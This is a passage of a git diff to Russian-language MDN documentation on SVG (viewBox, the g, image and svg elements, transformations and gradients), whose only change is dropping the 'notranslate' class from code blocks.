xmlns="http://www.w3.org/2000/svg"> <text lang="en-US">This is some English text</text> </svg></pre> </div> diff --git a/files/ru/web/svg/attribute/viewbox/index.html b/files/ru/web/svg/attribute/viewbox/index.html index 2589efe86a..7527b08708 100644 --- a/files/ru/web/svg/attribute/viewbox/index.html +++ b/files/ru/web/svg/attribute/viewbox/index.html @@ -13,7 +13,7 @@ translation_of: Web/SVG/Attribute/viewBox <div id="topExample"> <div class="hidden"> -<pre class="notranslate">html, body, svg { +<pre>html, body, svg { height:100% } @@ -22,7 +22,7 @@ svg:not(:root) { }</pre> </div> -<pre class="brush: html notranslate"><svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> +<pre class="brush: html"><svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- С относительными единицами, такими как проценты, размер квадрата не меняется в зависимости от diff --git a/files/ru/web/svg/element/g/index.html b/files/ru/web/svg/element/g/index.html index 1486c95b64..3cbacef21b 100644 --- a/files/ru/web/svg/element/g/index.html +++ b/files/ru/web/svg/element/g/index.html @@ -17,7 +17,7 @@ original_slug: Web/SVG/Элемент/g <h2 id="Пример">Пример</h2> -<pre class="brush: html notranslate"><svg viewBox="0 0 95 50" +<pre class="brush: html"><svg viewBox="0 0 95 50" xmlns="http://www.w3.org/2000/svg"> <g stroke="green" fill="white" stroke-width="5"> <circle cx="25" cy="25" r="15"/> diff --git a/files/ru/web/svg/element/image/index.html b/files/ru/web/svg/element/image/index.html index 4f134d6d93..44be180a68 100644 --- a/files/ru/web/svg/element/image/index.html +++ b/files/ru/web/svg/element/image/index.html @@ -52,7 +52,7 @@ original_slug: Web/SVG/Элемент/image <h3 id="SVG">SVG</h3> -<pre class="brush: html notranslate"><svg width="200" height="200" +<pre class="brush: html"><svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <image href="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" height="200" width="200"/> </svg> diff --git a/files/ru/web/svg/element/svg/index.html b/files/ru/web/svg/element/svg/index.html index 0df5ad83a6..604a2d96f2 100644 --- a/files/ru/web/svg/element/svg/index.html +++ b/files/ru/web/svg/element/svg/index.html @@ -14,10 +14,10 @@ original_slug: Web/SVG/Элемент/svg <div id="Exeemple"> <div class="hidden"> -<pre class="brush: css notranslate">html,body,svg { height:100% }</pre> +<pre class="brush: css">html,body,svg { height:100% }</pre> </div> -<pre class="brush: html; highlight[4] notranslate"><svg viewBox="0 0 300 100" xmlns="http://www.w3.org/2000/svg" stroke="red" fill="grey"> +<pre class="brush: html; highlight[4]"><svg viewBox="0 0 300 100" xmlns="http://www.w3.org/2000/svg" stroke="red" fill="grey"> <circle cx="50" cy="50" r="40" /> <circle cx="150" cy="50" r="4" /> diff --git a/files/ru/web/svg/tutorial/basic_transformations/index.html b/files/ru/web/svg/tutorial/basic_transformations/index.html index 4523cbace6..f79f805d60 100644 --- a/files/ru/web/svg/tutorial/basic_transformations/index.html +++ b/files/ru/web/svg/tutorial/basic_transformations/index.html @@ -9,7 +9,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <p>Теперь мы готовы начать изменять наши замечательные изображения. Но сначала давайте ознакомимся с {{SVGElement("g")}} элементом. С его помощью вы можете назначить свойства для любого набора элементов. На самом деле, в этом и состоит его единственная цель. Например:</p> <div id="two_blocks"> -<pre class="brush: html notranslate"><svg width="30" height="10"> +<pre class="brush: html"><svg width="30" height="10"> <g fill="red"> <rect x="0" y="0" width="10" height="10" /> <rect x="20" y="0" width="10" height="10" /> @@ -26,7 +26,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <p>Иногда необходимо сместить элемент, хотя вы спозиционировали его согласно определённым атрибутам. Для этого используется <code>translate()</code>.</p> -<pre class="brush: html notranslate"><svg width="40" height="50" style="background-color:#bff;"> +<pre class="brush: html"><svg width="40" height="50" style="background-color:#bff;"> <rect x="0" y="0" width="10" height="10" transform="translate(30,40)" /> </svg> </pre> @@ -41,7 +41,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <p>Вращение элементов - это достаточно типичная задача. Используйте <code>rotate()</code> для этого:</p> -<pre class="brush: html notranslate"><svg width="31" height="31"> +<pre class="brush: html"><svg width="31" height="31"> <rect x="12" y="-10" width="20" height="20" transform="rotate(45)" /> </svg> </pre> @@ -70,7 +70,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <p>В случае использования преобразований вы устанавливаете новую систему координат внутри элемента, к которому применяются изменения. Это означает, что единицы измерения которые вы определяете и его дочерние еи не будут соответствовать 1:1, но также будут искажены, повёрнуты, перемещены и смаштабированы в соответствии с преобразованиями.</p> -<pre class="brush: html notranslate"><svg width="100" height="100"> +<pre class="brush: html"><svg width="100" height="100"> <g transform="scale(2)"> <rect width="50" height="50" /> </g> @@ -85,7 +85,7 @@ original_slug: Web/SVG/Tutorial/Базовые_Преобразования <p>В отличие от HTML, SVG позволяет встраивать другие <code>svg</code> элементы без разрыва. Таким образом вы можете запросто создать новую координатную систему используя <code>viewBox</code>, <code>width</code> и<code>height</code> внутреннего <code>svg</code> элемента.</p> -<pre class="brush: html notranslate"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100"> +<pre class="brush: html"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100"> <svg width="100" height="100" viewBox="0 0 50 50"> <rect width="50" height="50" /> </svg> diff --git a/files/ru/web/svg/tutorial/gradients/index.html b/files/ru/web/svg/tutorial/gradients/index.html index d125016c73..76d965fc45 100644 --- a/files/ru/web/svg/tutorial/gradients/index.html +++ b/files/ru/web/svg/tutorial/gradients/index.html @@ -15,7 +15,7 @@ translation_of: Web/SVG/Tutorial/Gradients <h3 id="Basic_example">Basic example</h3> -<pre class="brush: html notranslate"><svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"> +<pre class="brush: html"><svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"> <defs> <linearGradient id="Gradient1"> <stop class="stop1" offset="0%"/> @@ -44,20 +44,20 @@ translation_of: Web/SVG/Tutorial/Gradients <p>Выше находится пример линейного градиента, который применён к элементу <code><rect>. </code>Внутри линейного градиента есть несколько {{SVGElement('stop')}} нод.. Эти ноды сообщают градиенту, какой цвет он должен использовать в позициях, определённых атрибутом <code>offset </code>для позиции и атрибутом <code>stop-color. </code>Это может быть задано прямо в SVG или через CSS. В целях этого примера оба метода были смешаны. Например, <em>Gradient1</em> начинается с красного цвета, изменяется до прозрачно-чёрного в середине и заканчивается синим цветом. Вы можете вставить столько стоп-цветов, сколько нужно, чтобы создать смесь, которая будет красивой или ужасной, как вам нужно. Границы всегда должны изменяться от 0% (или от 0, если вы хотите опустить знак %) до 100% (или 1). Повторяющиеся значения будут использовать стоп, который будет находится дальше всех по XML-дереву. Также, подобно заливке и обводке, вы можете определить атрибут <code>stop-opacity, </code>чтобы задать прозрачность в этой позиции (опять же, в FF3+ можно также использовать rgba-значения для этого).</p> -<pre class="eval notranslate"> <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/> +<pre class="eval"> <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/> </pre> <p>Чтобы использовать градиент, мы должны сослаться на него из атрибутов объекта <code>fill/stroke</code>. Это делается таким же образом, как вы ссылаетесь на элементы в CSS, используя <code>url</code>. В этом случае, url - это просто ссылка на наш градиент, которому задан уникальный ID, "<em>Gradient". </em>Чтобы добавить его, установим <code>fill="url(#Gradient)"</code>. Наш объект теперь многоцветный. То же самое можно сделать с атрибутом <code>stroke</code>.</p> <p>Элемент <code><linearGradient></code> также принимает некоторые другие атрибуты, который определяют размер и внешний вид градиента. Направление градиента контролируется двумя точками, обозначенными атрибутами <code>x1, x2, y1, y2</code>. Эти атрибуты определяют линию, вдоль которой двигается градиент. По умолчанию градиент имеет горизонтальную ориентацию, но это может быть изменено с помощью этих атрибутов. Gradient2 в примере выше предназначен для создания вертикального градиента.</p> -<pre class="eval notranslate"> <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"> +<pre class="eval"> <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"> </pre> <div class="note"> <p><strong>Замечание: </strong>Вы также можете использовать атрибут <code>xlink:href </code>для градиентов. Когда он использован, атрибуты и стопы из одного градиента могут быть включены в другой. В примере выше можно было бы не пересоздавать все точки остановки в Gradient2<strong>.</strong></p> -<pre class="eval notranslate"> <linearGradient id="Gradient1"> +<pre class="eval"> <linearGradient id="Gradient1"> <stop id="stop1" offset="0%"/> <stop id="stop2" offset="50%"/> <stop id="stop3" offset="100%"/> @@ -75,7 +75,7 @@ translation_of: Web/SVG/Tutorial/Gradients <h3 id="Basic_example_2">Basic example</h3> -<pre class="brush: html notranslate"><?xml version="1.0" standalone="no"?> +<pre class="brush: html"><?xml version="1.0" standalone="no"?> <svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"> <defs> <radialGradient id="RadialGradient1"> @@ -101,7 +101,7 @@ translation_of: Web/SVG/Tutorial/Gradients <h3 id="Center_and_focal_point">Center and focal point</h3> -<pre class="brush: html notranslate"><?xml version="1.0" standalone="no"?> +<pre class="brush: html"><?xml version="1.0" standalone="no"?> <svg width="120" height="120" version="1.1" xmlns="http://www.w3.org/2000/svg"> @@ -132,7 +132,7 @@ translation_of: Web/SVG/Tutorial/Gradients <h3 id="spreadMethod">spreadMethod</h3> -<pre class="brush: html notranslate"><?xml version="1.0" standalone="no"?> +<pre class="brush: html"><?xml version="1.0" standalone="no"?> <svg width="220" height="220" version="1.1" xmlns="http://www.w3.org/2000/svg"> <defs> @@ -170,7 +170,7 @@ translation_of: Web/SVG/Tutorial/Gradients <p>У обоих типов градиентов также есть атрибут <code><strong>gradientUnits</strong></code>, который описывает систему измерений, которую вы собираетесь использовать, когда описываете размеры или ориентацию или градиент. Данный атрибут принимает 2 возможных значения: <strong><code>userSpaceOnUse</code></strong><code> </code>или <strong><code>objectBoundingBox </code></strong>(дефолтное, показывалось во всех примерах выше). <strong><code>objectBoundingBox </code></strong>автоматически адаптирует градиент к размеру объекта, так что вы можете указать координаты в виде значений от 0 до 1, и браузер автоматически их отпозиционирует. <strong><code>userSpaceOnUse </code></strong>позиционирует градиент в абсолютных единицах измерения, так что вам необходимо знать где находится целевой объект, чтобы правильно применить к нему градиент. radialGradient выше может быть переписан:</p> -<pre class="eval notranslate"> <radialGradient id="Gradient" cx="60" cy="60" r="50" fx="35" fy="35" gradientUnits="userSpaceOnUse"> +<pre class="eval"> <radialGradient id="Gradient" cx="60" cy="60" r="50" fx="35" fy="35" gradientUnits="userSpaceOnUse"> </pre> <p>Вы также можете применить иную трансформацию к градиенту, используя атрибут <strong><code>gradientTransform</code></strong>, но мы пока что <a href="/en-US/Web/SVG/Tutorial/Basic_Transformations">его не изучали</a>, я оставлю это на потом.<br> |